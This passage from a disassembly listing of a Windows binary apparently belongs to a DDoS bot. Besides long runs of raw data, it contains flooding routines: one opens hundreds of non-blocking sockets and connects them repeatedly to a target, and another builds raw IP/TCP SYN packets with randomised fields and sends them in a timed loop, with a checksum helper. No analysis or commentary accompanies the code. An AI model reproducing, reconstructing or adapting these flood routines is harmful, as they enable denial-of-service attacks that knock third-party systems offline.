		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 7C15FFFCh,	0FF004CBAh
		dd 4CB97815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43793C68h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
		dd 0FF022DC2h, 15FFFC75h, 4CBA7Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378F068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22DC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 6C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 2415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 6815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 2C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 0C132E890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8FCh, 0C0753B46h,	75FFDA7Ch, 9C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 437A0068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 0E8905359h, 22DC064h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C897E800h
		dd 50900228h, 82E7E8h, 116A5900h, 26A026Ah, 0BA6415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA24h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA6815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	8068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 2DBF87E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9E4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA4815h, 0D875FF00h, 26CE0CE8h
		dd 754E9002h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0E415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 5468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 2DBE4FE8h
		db 2, 90h
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7AA868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0B1E89056h, 5F022DBDh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop

loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		nop
		call	near ptr 2680F3Dh
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx

loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax

loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AD4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 90565959h, 2DBC0BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB954
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------

loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA88
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9C4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9E4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9E4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9E4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9E4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2790540h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2790159h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9E4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9E4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9E0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9E4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA48
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2790159h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------

loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AFC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------

loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]

loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA7C
		pop	esi

loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB93C
		mov	eax, ebx

loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax

loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 2415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 1C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 5DE85659h, 90022DB8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9F815FFh, 75FF004Ch
		dd 6815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA64h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0C415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9E415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0E415FF50h, 56004CB9h, 0E2458966h
		dd 0B9E415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA4815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA7C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA64h
		dd 89FFF883h, 6675FC45h, 0B97815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C3468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 0B576E890h, 4D8D022Dh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CB9C415h, 0FFF88300h, 15FF6675h, 4CB978h
		dd 0C0858D50h, 68FFFFFBh, 437BFCh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22DB4F8h,	0FDC4858Dh
		dd 0FF50FFFFh, 4CBA2415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BDC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 0E8905359h, 22DB488h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9E4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA2415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9E415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA2415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0E415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0E415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9E015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D4h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEECh, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE4h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9E4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0E415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA4815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 7C15FFFCh, 0FF004CBAh, 4CB97815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B8C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h
		dd 22DB18Ch, 0FFFC75FFh, 4CBA7C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B3C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 90535959h, 2DB0FBE8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1

loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 2415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C6868FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
